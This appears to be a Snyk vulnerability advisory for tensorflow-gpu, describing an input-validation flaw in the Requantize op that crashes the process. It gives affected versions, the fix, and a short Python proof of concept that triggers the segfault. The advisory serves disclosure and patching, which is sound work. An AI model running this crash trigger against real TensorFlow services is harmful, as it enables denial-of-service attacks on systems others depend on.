Improper Input Validation Affecting tensorflow-gpu package, versions [,2.7.2) [2.8.0,2.8.1) [2.9.0,2.9.1)


0.0
medium

Snyk CVSS

    Attack Complexity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.08% (32nd percentile)
Expand this section
NVD
7.5 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-TENSORFLOWGPU-3026793
  • published 18 Sep 2022
  • disclosed 18 Sep 2022
  • credit Unknown

How to fix?

Upgrade tensorflow-gpu to version 2.7.2, 2.8.1, 2.9.1 or higher.

Overview

tensorflow-gpu is a machine learning framework.

Affected versions of this package are vulnerable to Improper Input Validation when Requantize is given input_min, input_max, requested_output_min, requested_output_max tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.

PoC

import tensorflow as tf

out_type = tf.quint8
input = tf.constant([1], shape=[3], dtype=tf.qint32)
input_min = tf.constant([], shape=[0], dtype=tf.float32)
input_max = tf.constant(-256, shape=[1], dtype=tf.float32)
requested_output_min = tf.constant(-256, shape=[1], dtype=tf.float32)
requested_output_max = tf.constant(-256, shape=[1], dtype=tf.float32)
tf.raw_ops.Requantize(input=input, input_min=input_min, input_max=input_max, requested_output_min=requested_output_min, requested_output_max=requested_output_max, out_type=out_type)

References